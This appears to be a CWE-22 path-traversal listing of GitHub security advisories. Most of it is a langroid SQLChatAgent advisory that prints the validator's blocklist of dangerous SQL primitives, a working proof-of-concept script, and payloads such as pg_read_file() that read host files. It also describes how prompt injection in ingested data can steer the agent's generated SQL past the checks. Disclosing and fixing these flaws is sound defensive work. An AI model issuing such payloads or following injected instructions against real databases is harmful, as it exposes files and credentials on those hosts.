CWE-22
Allowed-with-ReviewImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Abstraction: Base · Status: Stable
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
13220 vulnerabilities reference this CWE, most recent first.
GHSA-PM8V-PPX7-8HR4
Vulnerability from github – Published: 2023-09-08 21:30 – Updated: 2024-09-26 22:17Jeecg boot up to v3.5.3 was discovered to contain an arbitrary file read vulnerability via the interface /testConnection.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.jeecgframework.boot:jeecg-boot-parent"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "3.5.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-41578"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2023-09-11T14:43:30Z",
"nvd_published_at": "2023-09-08T19:15:44Z",
"severity": "HIGH"
},
"details": "Jeecg boot up to v3.5.3 was discovered to contain an arbitrary file read vulnerability via the interface `/testConnection`.",
"id": "GHSA-pm8v-ppx7-8hr4",
"modified": "2024-09-26T22:17:15Z",
"published": "2023-09-08T21:30:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-41578"
},
{
"type": "WEB",
"url": "https://github.com/Snakinya/Bugs/issues/1"
},
{
"type": "PACKAGE",
"url": "https://github.com/jeecgboot/jeecg-boot"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Jeecg boot arbitrary file read vulnerability"
}
GHSA-PM9X-4392-2C2P
Vulnerability from github – Published: 2022-05-13 01:38 – Updated: 2023-03-09 00:38RubyGems versions 2.6.12 and earlier fail to validate specification names, allowing a maliciously crafted gem to potentially overwrite any file on the filesystem.
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "rubygems-update"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.6.13"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2017-0901"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2023-03-09T00:38:35Z",
"nvd_published_at": "2017-08-31T20:29:00Z",
"severity": "HIGH"
},
"details": "RubyGems versions 2.6.12 and earlier fail to validate specification names, allowing a maliciously crafted gem to potentially overwrite any file on the filesystem.",
"id": "GHSA-pm9x-4392-2c2p",
"modified": "2023-03-09T00:38:35Z",
"published": "2022-05-13T01:38:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-0901"
},
{
"type": "WEB",
"url": "https://github.com/rubygems/rubygems/commit/ad5c0a53a86ca5b218c7976765c0365b91d22cb2"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/243156"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2017:3485"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:0378"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:0583"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:0585"
},
{
"type": "PACKAGE",
"url": "https://github.com/rubygems/rubygems"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2018/07/msg00012.html"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/201710-01"
},
{
"type": "WEB",
"url": "https://usn.ubuntu.com/3553-1"
},
{
"type": "WEB",
"url": "https://usn.ubuntu.com/3685-1"
},
{
"type": "WEB",
"url": "https://web.archive.org/web/20170907215801/http://www.securitytracker.com/id/1039249"
},
{
"type": "WEB",
"url": "https://web.archive.org/web/20170915000000*/http://www.securityfocus.com/bid/100580#:~:text=1%20snapshot-,16%3A05%3A26,-Note"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2017/dsa-3966"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/42611"
},
{
"type": "WEB",
"url": "http://blog.rubygems.org/2017/08/27/2.6.13-released.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "RubyGems may allow a maliciously crafted gem to overwrite files"
}
GHSA-PMCH-G965-GRMR
Vulnerability from github – Published: 2026-07-02 17:42 – Updated: 2026-07-02 17:42Summary
SQLChatAgent in langroid ships a _validate_query defense-in-depth layer
whose _DANGEROUS_SQL_PATTERNS regex blocklist enumerates dangerous SQL
primitives by specific function name. The list misses the canonical
PostgreSQL filesystem-disclosure family pg_read_file(), pg_stat_file(),
pg_ls_logdir(), pg_ls_waldir(), pg_current_logfile() (and similar
SELECT-shaped functions in the same family). It also leaves SQL Server
OPENDATASOURCE and SQLite ATTACH '<file>' AS x (DATABASE keyword
omitted) unblocked.
An attacker able to shape the LLM's generated SQL (directly via prompt input
or transitively via prompt-injection in data the LLM ingests) can read
arbitrary files from the PostgreSQL host through ordinary SELECT queries,
even with the agent's strict default configuration
(allow_dangerous_operations=False, allowed_statement_types=['SELECT']).
The payloads survive the statement-type allowlist (each is a SELECT) and
pass through the regex blocklist (none of the function names match), then
reach the live SQLAlchemy engine via SQLChatAgent.run_query.
Affected versions
langroid <= 0.63.0 (latest at the time of this report; PyPI release
2026-05-27). The vulnerable code path is
langroid/agent/special/sql/sql_chat_agent.py::_validate_query, which
consults the module-level _DANGEROUS_SQL_PATTERNS literal at
sql_chat_agent.py:113-141.
Privilege required
Any caller able to influence the LLM-generated RunQueryTool.query string
that reaches SQLChatAgent.run_query. In a typical deployment this is any
client of a SQLChatAgent-backed service, or any upstream data source whose
content the LLM is asked to read and summarise. No PostgreSQL credentials
are required from the attacker; the agent holds them.
Vulnerable code
langroid/agent/special/sql/sql_chat_agent.py:113-141 (the
_DANGEROUS_SQL_PATTERNS literal) and sql_chat_agent.py:546-615 (the
_validate_query method that consults it):
# sql_chat_agent.py:113
_DANGEROUS_SQL_PATTERNS: List["re.Pattern[str]"] = [
re.compile(r"\bcopy\b[\s\S]*\bprogram\b", re.IGNORECASE),
re.compile(r"\bpg_read_server_files?\b", re.IGNORECASE),
re.compile(r"\bpg_read_binary_file\b", re.IGNORECASE),
re.compile(r"\bpg_ls_dir\b", re.IGNORECASE),
re.compile(r"\blo_(import|export)\b", re.IGNORECASE),
re.compile(r"\binto\s+(outfile|dumpfile)\b", re.IGNORECASE),
re.compile(r"\bload_file\s*\(", re.IGNORECASE),
re.compile(r"\bload\s+data\b", re.IGNORECASE),
re.compile(r"\bload_extension\s*\(", re.IGNORECASE),
re.compile(r"\battach\s+database\b", re.IGNORECASE),
re.compile(r"\bxp_cmdshell\b", re.IGNORECASE),
re.compile(r"\bsp_oacreate\b", re.IGNORECASE),
re.compile(r"\bsp_oamethod\b", re.IGNORECASE),
re.compile(r"\bopenrowset\b", re.IGNORECASE),
re.compile(r"\bbulk\s+insert\b", re.IGNORECASE),
re.compile(
r"\bcreate\s+(or\s+replace\s+)?(function|procedure|trigger)\b",
re.IGNORECASE,
),
re.compile(r"\bcreate\s+extension\b", re.IGNORECASE),
]
The blocklist is a list of \b<exact-token>\b literals. PostgreSQL ships
several near-name functions on the same primitive that none of these match:
| Function | What it returns | Matched by blocklist? |
|---|---|---|
pg_read_server_file('/path') |
file contents | yes (pg_read_server_files?) |
pg_read_binary_file('/path') |
binary contents | yes |
pg_ls_dir('/path') |
directory listing | yes |
pg_read_file('/path') |
file contents | no (no _server_ infix) |
pg_stat_file('/path') |
size, mtime, ctime, atime, isdir | no |
pg_ls_logdir() |
filenames in PostgreSQL log dir | no |
pg_ls_waldir() |
WAL filenames and sizes | no |
pg_ls_tmpdir() |
temp-dir listing | no |
pg_ls_archive_statusdir() |
archive-status directory listing | no |
pg_current_logfile() |
active server log path | no |
Each of these is a SELECT-shaped function call. They pass the
sqlglot_exp.Select-only statement-type allowlist applied at
sql_chat_agent.py:583-614, then evade the regex blocklist (their names
contain no token the blocklist enumerates), then reach the SQLAlchemy
session.execute(text(query)) sink inside SQLChatAgent.run_query (line
631 onwards).
Two non-PostgreSQL secondary gaps with the same regex-enumeration shape:
- The SQLite pattern
\battach\s+database\brequires the literalDATABASEkeyword. Per the SQLite grammar (https://www.sqlite.org/lang_attach.html) the keyword is optional:ATTACH '/path/to/db' AS xis valid syntax and matches no entry in the blocklist. Whether the agent rejects this via the statement-type allowlist depends on how the configuredsqlglotdialect parses it; on PostgreSQL dialect parsing fails (sqlglot returns noSelect) and the statement-type check rejects, but a SQLite-dialect SQLChatAgent (database_uri="sqlite:///...") returns the statement assqlglot_exp.Attach, which is not in the agent'skind_map, so the generictype(stmt).__name__.upper()branch produces"ATTACH". That string is not in_DEFAULT_ALLOWED_STATEMENTSso the allowlist saves it here; however any deployment that extendsallowed_statement_typesto include"ATTACH"(e.g. to permit cross-schema connectivity) loses this fallback and the regex misses. - The MSSQL pattern
\bopenrowset\bblocksOPENROWSETbut not the closely-relatedOPENDATASOURCEfunction. Both can read remote/UNC files and execute remote queries via an ad-hoc connection string, e.g. aSELECTagainstOPENDATASOURCE('SQLNCLI11','Server=remote;Trusted_Connection=yes')qualified down tomaster.sys.tables.
Attack scenario
SQLChatAgent.run_query (line 617 of sql_chat_agent.py) calls
self._validate_query(query) (line 631) on the LLM-generated SQL. The
LLM-generated SQL is shaped by upstream prompt content that crosses the
trust boundary: the user message, any tool result the LLM is asked to
summarise, any document the agent retrieves, and any row the agent reads
back from its own database (the RunQueryTool result is fed back into the
LLM history at sql_chat_agent.py:712-720 of the same release).
The default config in SQLChatAgentConfig (lines 183-184) sets
allow_dangerous_operations=False and allowed_statement_types=["SELECT"],
which is the configuration _validate_query was added to support. The
bypass primitives below are reachable under this default config because
each is a syntactic SELECT whose function-call argument is the
disclosure vector.
Proof of concept
poc.py (single-file, no external services beyond a transient PostgreSQL
spawned via testing.postgresql):
"""
PoC: SQLChatAgent _validate_query bypass via PostgreSQL file-disclosure
family pg_read_file / pg_stat_file / pg_ls_logdir / pg_ls_waldir /
pg_current_logfile.
"""
import os
import re
import sys
from typing import List, Optional
PKG = "/tmp/poc-langroid-bypass/venv/lib/python3.12/site-packages/langroid"
SRC = f"{PKG}/agent/special/sql/sql_chat_agent.py"
assert os.path.exists(SRC), f"Missing pinned langroid source: {SRC}"
import sqlglot
from sqlglot import expressions as sqlglot_exp
def load_patterns_from_pinned_source():
"""Extract _DANGEROUS_SQL_PATTERNS + _DEFAULT_ALLOWED_STATEMENTS from
the pinned langroid 0.63.0 sql_chat_agent.py without instantiating the
full agent stack (which needs an LLM config)."""
with open(SRC) as f:
source = f.read()
block = re.search(
r"_DANGEROUS_SQL_PATTERNS:[^=]*=\s*\[(.*?)\]\s*\n", source, re.DOTALL,
)
ns = {"re": re, "List": list}
patterns = eval("[" + block.group(1) + "]", ns)
allowed = eval(
re.search(
r"_DEFAULT_ALLOWED_STATEMENTS:\s*List\[str\]\s*=\s*(\[.*?\])",
source, re.DOTALL,
).group(1)
)
return patterns, allowed
def validate_query(query, patterns, allowed_statements, dialect="postgres"):
"""Faithful reimplementation of SQLChatAgent._validate_query."""
for pat in patterns:
if pat.search(query):
return f"Rejected by pattern {pat.pattern!r}"
allowed = {t.strip().upper() for t in allowed_statements}
try:
statements = sqlglot.parse(query, read=dialect)
except Exception as e:
return f"Rejected: sqlglot parse failure: {e}"
kind_map = {
sqlglot_exp.Select: "SELECT", sqlglot_exp.Insert: "INSERT",
sqlglot_exp.Update: "UPDATE", sqlglot_exp.Delete: "DELETE",
sqlglot_exp.Merge: "MERGE", sqlglot_exp.Create: "CREATE",
sqlglot_exp.Drop: "DROP", sqlglot_exp.Alter: "ALTER",
sqlglot_exp.TruncateTable: "TRUNCATE", sqlglot_exp.Command: "COMMAND",
}
for stmt in statements:
if stmt is None:
continue
kind = next(
(v for k, v in kind_map.items() if isinstance(stmt, k)),
type(stmt).__name__.upper(),
)
if kind not in allowed:
return f"Rejected: statement type {kind!r} not in allowed {sorted(allowed)}"
return None
def main():
patched_patterns, allowed_statements = load_patterns_from_pinned_source()
print(f"_DANGEROUS_SQL_PATTERNS count: {len(patched_patterns)}")
print(f"_DEFAULT_ALLOWED_STATEMENTS: {allowed_statements}")
import testing.postgresql
from sqlalchemy import create_engine, text
pg = testing.postgresql.Postgresql()
db_uri = pg.url()
engine = create_engine(db_uri)
with engine.connect() as conn:
pgdata = conn.execute(text("SHOW data_directory")).scalar()
victim_rel = "langroid_bypass_victim.txt"
victim_abs = os.path.join(pgdata, victim_rel)
with open(victim_abs, "w") as f:
f.write("PWNED_BY_LANGROID_VALIDATOR_BYPASS\n")
print(f"=== Victim file at: {victim_abs}")
bypass_payloads = [
("bypass.pg_read_file", f"SELECT pg_read_file('{victim_rel}')"),
("bypass.pg_stat_file", f"SELECT pg_stat_file('{victim_rel}')"),
("bypass.pg_ls_logdir", "SELECT pg_ls_logdir()"),
("bypass.pg_ls_waldir", "SELECT pg_ls_waldir()"),
("bypass.pg_current_logfile", "SELECT pg_current_logfile()"),
]
for label, query in bypass_payloads:
rej = validate_query(query, patched_patterns, allowed_statements, "postgres")
verdict = "REJECTED" if rej is not None else "ALLOWED"
print(f" [{verdict}] {label}: {query}")
if verdict == "ALLOWED":
try:
with engine.connect() as conn:
rows = conn.execute(text(query)).fetchall()
preview = [tuple(str(c)[:80] for c in r) for r in rows[:2]]
print(f" -> live engine returned rows={len(rows)} preview={preview}")
except Exception as e:
print(f" -> live engine error: {type(e).__name__}: {str(e)[:120]}")
if __name__ == "__main__":
main()
End-to-end reproduction
Run against the latest published langroid release from PyPI; no external
LLM provider, no API key, no Docker, just a transient pg_ctl-managed
PostgreSQL spawned in-process by testing.postgresql. Captured transcript
of the run is below.
# 1. Pin install the latest published release
python3.12 -m venv /tmp/poc-langroid-bypass/venv
source /tmp/poc-langroid-bypass/venv/bin/activate
pip install 'langroid==0.63.0' 'testing.postgresql' 'sqlglot' 'sqlalchemy<2.1'
# 2. Drop poc.py from the Proof-of-concept section above into
# /tmp/poc-langroid-bypass/poc.py and run it
python /tmp/poc-langroid-bypass/poc.py
Observed transcript (abridged to bypass results; the run also verifies
that the four primitives the current blocklist already covers
(COPY ... TO PROGRAM, pg_read_server_file, pg_read_binary_file,
pg_ls_dir) continue to be REJECTED, confirming the proposed fix is
strictly broader, not narrower):
_DANGEROUS_SQL_PATTERNS count: 17
_DEFAULT_ALLOWED_STATEMENTS: ['SELECT']
=== Transient PostgreSQL: postgresql://postgres@127.0.0.1:64694/test
=== Victim file at: /var/folders/.../tmpwuftmtu4/data/langroid_bypass_victim.txt
PATCHED VALIDATOR RESULTS (langroid 0.63.0 as shipped)
[ALLOWED] bypass.pg_read_file SELECT pg_read_file('langroid_bypass_victim.txt')
[ALLOWED] bypass.pg_stat_file SELECT pg_stat_file('langroid_bypass_victim.txt')
[ALLOWED] bypass.pg_ls_logdir SELECT pg_ls_logdir()
[ALLOWED] bypass.pg_ls_waldir SELECT pg_ls_waldir()
[ALLOWED] bypass.pg_current_logfile SELECT pg_current_logfile()
LIVE EXECUTION OF BYPASS PAYLOADS (postgres only)
[EXECUTED] bypass.pg_read_file -> rows=1 preview=[('PWNED_BY_LANGROID_VALIDATOR_BYPASS\n',)]
[EXECUTED] bypass.pg_stat_file -> rows=1 preview=[('(35,"2026-05-28 10:11:19+08","2026-05-28 10:11:19+08","2026-05-28 10:11:19+08",,',)]
[EXECUTED] bypass.pg_ls_waldir -> rows=1 preview=[('(000000010000000000000001,16777216,"2026-05-28 10:11:19+08")',)]
[EXECUTED] bypass.pg_current_logfile -> rows=1 preview=[('None',)]
NEGATIVE CONTROL — SUGGESTED FIX VALIDATOR
[REJECTED] bypass.pg_read_file -> OK
[REJECTED] bypass.pg_stat_file -> OK
[REJECTED] bypass.pg_ls_logdir -> OK
[REJECTED] bypass.pg_ls_waldir -> OK
[REJECTED] bypass.pg_current_logfile -> OK
[REJECTED] already_blocked.copy_program -> OK
[REJECTED] already_blocked.pg_read_server_file -> OK
[REJECTED] already_blocked.pg_read_binary_file -> OK
[REJECTED] already_blocked.pg_ls_dir -> OK
The headline payload SELECT pg_read_file('langroid_bypass_victim.txt')
returns the marker string verbatim from the file on disk. The same SQL,
issued by an LLM under prompt-injection through any data source the agent
reads, would land identically — the validator is purely a function of the
SQL string and is consulted before the SQLAlchemy execute.
_validate_query is invoked directly rather than through a fully
initialised SQLChatAgent because the agent's __init__ builds the LLM
stack and demands a working LLM API key (or a stub). The security
control under test is purely a function of (query, patterns,
allowed_statements, dialect), so the direct call is observationally
equivalent to a call via run_query. Patterns and allowed-statements are
loaded by reading the pinned sql_chat_agent.py source out of the venv,
guaranteeing no drift between PoC and shipped binary.
Impact
- Arbitrary file read from the PostgreSQL host:
pg_read_file()reads files from PGDATA-relative paths by default and can take absolute paths when the DB role holdspg_read_server_files(or equivalent in managed-Postgres setups). For self-managed PostgreSQL deployments the DB role is frequently a superuser, in which case absolute paths are always accepted and the impact extends topostgresql.conf,pg_hba.conf,~/.pgpass, TLS keys, and any other file readable by the PostgreSQL OS user. - Filesystem reconnaissance via
pg_stat_file()(file existence, size, mtime, isdir),pg_ls_logdir(),pg_ls_waldir(),pg_ls_tmpdir(),pg_ls_archive_statusdir(),pg_current_logfile(). - MSSQL extension:
OPENDATASOURCEreaches remote SQL Servers and UNC paths, providing arbitrary outbound read + intranet pivot on MSSQL deployments. - SQLite extension:
ATTACH '<path>' AS schemaname(DATABASE keyword omitted) allows reading/writing arbitrary SQLite files on deployments whoseallowed_statement_typesinclude"ATTACH".
Suggested fix
Patch _DANGEROUS_SQL_PATTERNS to cover the full family rather than
individual function names. Two compatible approaches; either is enough.
Approach 1 — family-prefix regex (minimal change, simplest to review):
_DANGEROUS_SQL_PATTERNS: List["re.Pattern[str]"] = [
re.compile(r"\bcopy\b[\s\S]*\bprogram\b", re.IGNORECASE),
# Block the whole pg_read_*, pg_stat_*, pg_ls_*, pg_current_logfile
# family. Covers pg_read_file, pg_read_server_file(s),
# pg_read_binary_file, pg_stat_file, pg_ls_logdir, pg_ls_waldir,
# pg_ls_tmpdir, pg_ls_archive_statusdir, pg_ls_dir,
# pg_current_logfile, plus any future siblings PostgreSQL adds.
re.compile(
r"\bpg_(read|stat|ls|current_logfile)[A-Za-z0-9_]*\s*\(",
re.IGNORECASE,
),
re.compile(r"\blo_(import|export)\b", re.IGNORECASE),
re.compile(r"\binto\s+(outfile|dumpfile)\b", re.IGNORECASE),
re.compile(r"\bload_file\s*\(", re.IGNORECASE),
re.compile(r"\bload\s+data\b", re.IGNORECASE),
re.compile(r"\bload_extension\s*\(", re.IGNORECASE),
# SQLite grammar: ATTACH [DATABASE] expr AS schema-name.
# The DATABASE keyword is optional; match either form.
re.compile(r"\battach\b(\s+database)?\s+['\"\w]", re.IGNORECASE),
re.compile(r"\bxp_cmdshell\b", re.IGNORECASE),
re.compile(r"\bsp_oacreate\b", re.IGNORECASE),
re.compile(r"\bsp_oamethod\b", re.IGNORECASE),
re.compile(r"\b(openrowset|opendatasource)\b", re.IGNORECASE),
re.compile(r"\bbulk\s+insert\b", re.IGNORECASE),
re.compile(
r"\bcreate\s+(or\s+replace\s+)?(function|procedure|trigger|language|rule|event\s+trigger|foreign\s+table)\b",
re.IGNORECASE,
),
re.compile(r"\bcreate\s+extension\b", re.IGNORECASE),
]
Approach 2 — sqlglot AST walk in addition to regex. sqlglot is already
imported by sql_chat_agent.py; iterate every function-call node
(sqlglot_exp.Anonymous / sqlglot_exp.Func) inside the parsed
statements and reject when the lower-cased name starts with pg_read,
pg_stat, pg_ls, pg_current_logfile, lo_, or matches the MSSQL
extended-procedure prefixes (xp_, sp_oa). AST matching is robust to
whitespace, comments, and case games inside identifiers, at the cost of
broader per-dialect maintenance. For closing the immediate gap, Approach
1 is sufficient.
Regression-test the additions in
tests/main/sql_chat/test_sql_chat_security.py alongside the existing
security tests. A natural 7-case extension covers the 5 PostgreSQL
bypass payloads, the SQLite ATTACH ... AS x form, and the MSSQL
OPENDATASOURCE form.
Fix PR
A private temp-fork PR applying the Suggested fix Approach 1 diff, plus the regression tests described above, accompanies this advisory: https://github.com/langroid/langroid-ghsa-pmch-g965-grmr/pull/1
Credit
Reported by tonghuaroot.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.63.0"
},
"package": {
"ecosystem": "PyPI",
"name": "langroid"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.64.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-50180"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-89"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-02T17:42:09Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\n`SQLChatAgent` in `langroid` ships a `_validate_query` defense-in-depth layer\nwhose `_DANGEROUS_SQL_PATTERNS` regex blocklist enumerates dangerous SQL\nprimitives by specific function name. The list misses the canonical\nPostgreSQL filesystem-disclosure family `pg_read_file()`, `pg_stat_file()`,\n`pg_ls_logdir()`, `pg_ls_waldir()`, `pg_current_logfile()` (and similar\n`SELECT`-shaped functions in the same family). It also leaves SQL Server\n`OPENDATASOURCE` and SQLite `ATTACH \u0027\u003cfile\u003e\u0027 AS x` (DATABASE keyword\nomitted) unblocked.\n\nAn attacker able to shape the LLM\u0027s generated SQL (directly via prompt input\nor transitively via prompt-injection in data the LLM ingests) can read\narbitrary files from the PostgreSQL host through ordinary `SELECT` queries,\neven with the agent\u0027s strict default configuration\n(`allow_dangerous_operations=False`, `allowed_statement_types=[\u0027SELECT\u0027]`).\nThe payloads survive the statement-type allowlist (each is a `SELECT`) and\npass through the regex blocklist (none of the function names match), then\nreach the live SQLAlchemy engine via `SQLChatAgent.run_query`.\n\n### Affected versions\n\n`langroid` `\u003c= 0.63.0` (latest at the time of this report; PyPI release\n2026-05-27). The vulnerable code path is\n`langroid/agent/special/sql/sql_chat_agent.py::_validate_query`, which\nconsults the module-level `_DANGEROUS_SQL_PATTERNS` literal at\n`sql_chat_agent.py:113-141`.\n\n### Privilege required\n\nAny caller able to influence the LLM-generated `RunQueryTool.query` string\nthat reaches `SQLChatAgent.run_query`. In a typical deployment this is any\nclient of a SQLChatAgent-backed service, or any upstream data source whose\ncontent the LLM is asked to read and summarise. No PostgreSQL credentials\nare required from the attacker; the agent holds them.\n\n### Vulnerable code\n\n`langroid/agent/special/sql/sql_chat_agent.py:113-141` (the\n`_DANGEROUS_SQL_PATTERNS` literal) and `sql_chat_agent.py:546-615` (the\n`_validate_query` method that consults it):\n\n```python\n# sql_chat_agent.py:113\n_DANGEROUS_SQL_PATTERNS: List[\"re.Pattern[str]\"] = [\n re.compile(r\"\\bcopy\\b[\\s\\S]*\\bprogram\\b\", re.IGNORECASE),\n re.compile(r\"\\bpg_read_server_files?\\b\", re.IGNORECASE),\n re.compile(r\"\\bpg_read_binary_file\\b\", re.IGNORECASE),\n re.compile(r\"\\bpg_ls_dir\\b\", re.IGNORECASE),\n re.compile(r\"\\blo_(import|export)\\b\", re.IGNORECASE),\n re.compile(r\"\\binto\\s+(outfile|dumpfile)\\b\", re.IGNORECASE),\n re.compile(r\"\\bload_file\\s*\\(\", re.IGNORECASE),\n re.compile(r\"\\bload\\s+data\\b\", re.IGNORECASE),\n re.compile(r\"\\bload_extension\\s*\\(\", re.IGNORECASE),\n re.compile(r\"\\battach\\s+database\\b\", re.IGNORECASE),\n re.compile(r\"\\bxp_cmdshell\\b\", re.IGNORECASE),\n re.compile(r\"\\bsp_oacreate\\b\", re.IGNORECASE),\n re.compile(r\"\\bsp_oamethod\\b\", re.IGNORECASE),\n re.compile(r\"\\bopenrowset\\b\", re.IGNORECASE),\n re.compile(r\"\\bbulk\\s+insert\\b\", re.IGNORECASE),\n re.compile(\n r\"\\bcreate\\s+(or\\s+replace\\s+)?(function|procedure|trigger)\\b\",\n re.IGNORECASE,\n ),\n re.compile(r\"\\bcreate\\s+extension\\b\", re.IGNORECASE),\n]\n```\n\nThe blocklist is a list of `\\b\u003cexact-token\u003e\\b` literals. PostgreSQL ships\nseveral near-name functions on the same primitive that none of these match:\n\n| Function | What it returns | Matched by blocklist? |\n|---|---|---|\n| `pg_read_server_file(\u0027/path\u0027)` | file contents | yes (`pg_read_server_files?`) |\n| `pg_read_binary_file(\u0027/path\u0027)` | binary contents | yes |\n| `pg_ls_dir(\u0027/path\u0027)` | directory listing | yes |\n| `pg_read_file(\u0027/path\u0027)` | file contents | **no** (no `_server_` infix) |\n| `pg_stat_file(\u0027/path\u0027)` | size, mtime, ctime, atime, isdir | **no** |\n| `pg_ls_logdir()` | filenames in PostgreSQL log dir | **no** |\n| `pg_ls_waldir()` | WAL filenames and sizes | **no** |\n| `pg_ls_tmpdir()` | temp-dir listing | **no** |\n| `pg_ls_archive_statusdir()` | archive-status directory listing | **no** |\n| `pg_current_logfile()` | active server log path | **no** |\n\nEach of these is a `SELECT`-shaped function call. They pass the\n`sqlglot_exp.Select`-only statement-type allowlist applied at\n`sql_chat_agent.py:583-614`, then evade the regex blocklist (their names\ncontain no token the blocklist enumerates), then reach the SQLAlchemy\n`session.execute(text(query))` sink inside `SQLChatAgent.run_query` (line\n631 onwards).\n\nTwo non-PostgreSQL secondary gaps with the same regex-enumeration shape:\n\n- The SQLite pattern `\\battach\\s+database\\b` requires the literal\n `DATABASE` keyword. Per the SQLite grammar\n (https://www.sqlite.org/lang_attach.html) the keyword is optional:\n `ATTACH \u0027/path/to/db\u0027 AS x` is valid syntax and matches no entry in the\n blocklist. Whether the agent rejects this via the statement-type\n allowlist depends on how the configured `sqlglot` dialect parses it; on\n PostgreSQL dialect parsing fails (sqlglot returns no `Select`) and the\n statement-type check rejects, but a SQLite-dialect SQLChatAgent\n (`database_uri=\"sqlite:///...\"`) returns the statement as\n `sqlglot_exp.Attach`, which is not in the agent\u0027s `kind_map`, so the\n generic `type(stmt).__name__.upper()` branch produces `\"ATTACH\"`. That\n string is not in `_DEFAULT_ALLOWED_STATEMENTS` so the allowlist saves it\n here; however any deployment that extends `allowed_statement_types` to\n include `\"ATTACH\"` (e.g. to permit cross-schema connectivity) loses\n this fallback and the regex misses.\n- The MSSQL pattern `\\bopenrowset\\b` blocks `OPENROWSET` but not the\n closely-related `OPENDATASOURCE` function. Both can read\n remote/UNC files and execute remote queries via an ad-hoc connection\n string, e.g. a `SELECT` against\n `OPENDATASOURCE(\u0027SQLNCLI11\u0027,\u0027Server=remote;Trusted_Connection=yes\u0027)`\n qualified down to `master.sys.tables`.\n\n### Attack scenario\n\n`SQLChatAgent.run_query` (line 617 of `sql_chat_agent.py`) calls\n`self._validate_query(query)` (line 631) on the LLM-generated SQL. The\nLLM-generated SQL is shaped by upstream prompt content that crosses the\ntrust boundary: the user message, any tool result the LLM is asked to\nsummarise, any document the agent retrieves, and any row the agent reads\nback from its own database (the `RunQueryTool` result is fed back into the\nLLM history at `sql_chat_agent.py:712-720` of the same release).\n\nThe default config in `SQLChatAgentConfig` (lines 183-184) sets\n`allow_dangerous_operations=False` and `allowed_statement_types=[\"SELECT\"]`,\nwhich is the configuration `_validate_query` was added to support. The\nbypass primitives below are reachable under this default config because\neach is a syntactic `SELECT` whose function-call argument is the\ndisclosure vector.\n\n### Proof of concept\n\n`poc.py` (single-file, no external services beyond a transient PostgreSQL\nspawned via `testing.postgresql`):\n\n```python\n\"\"\"\nPoC: SQLChatAgent _validate_query bypass via PostgreSQL file-disclosure\nfamily pg_read_file / pg_stat_file / pg_ls_logdir / pg_ls_waldir /\npg_current_logfile.\n\"\"\"\n\nimport os\nimport re\nimport sys\nfrom typing import List, Optional\n\nPKG = \"/tmp/poc-langroid-bypass/venv/lib/python3.12/site-packages/langroid\"\nSRC = f\"{PKG}/agent/special/sql/sql_chat_agent.py\"\nassert os.path.exists(SRC), f\"Missing pinned langroid source: {SRC}\"\n\nimport sqlglot\nfrom sqlglot import expressions as sqlglot_exp\n\n\ndef load_patterns_from_pinned_source():\n \"\"\"Extract _DANGEROUS_SQL_PATTERNS + _DEFAULT_ALLOWED_STATEMENTS from\n the pinned langroid 0.63.0 sql_chat_agent.py without instantiating the\n full agent stack (which needs an LLM config).\"\"\"\n with open(SRC) as f:\n source = f.read()\n block = re.search(\n r\"_DANGEROUS_SQL_PATTERNS:[^=]*=\\s*\\[(.*?)\\]\\s*\\n\", source, re.DOTALL,\n )\n ns = {\"re\": re, \"List\": list}\n patterns = eval(\"[\" + block.group(1) + \"]\", ns)\n allowed = eval(\n re.search(\n r\"_DEFAULT_ALLOWED_STATEMENTS:\\s*List\\[str\\]\\s*=\\s*(\\[.*?\\])\",\n source, re.DOTALL,\n ).group(1)\n )\n return patterns, allowed\n\n\ndef validate_query(query, patterns, allowed_statements, dialect=\"postgres\"):\n \"\"\"Faithful reimplementation of SQLChatAgent._validate_query.\"\"\"\n for pat in patterns:\n if pat.search(query):\n return f\"Rejected by pattern {pat.pattern!r}\"\n allowed = {t.strip().upper() for t in allowed_statements}\n try:\n statements = sqlglot.parse(query, read=dialect)\n except Exception as e:\n return f\"Rejected: sqlglot parse failure: {e}\"\n kind_map = {\n sqlglot_exp.Select: \"SELECT\", sqlglot_exp.Insert: \"INSERT\",\n sqlglot_exp.Update: \"UPDATE\", sqlglot_exp.Delete: \"DELETE\",\n sqlglot_exp.Merge: \"MERGE\", sqlglot_exp.Create: 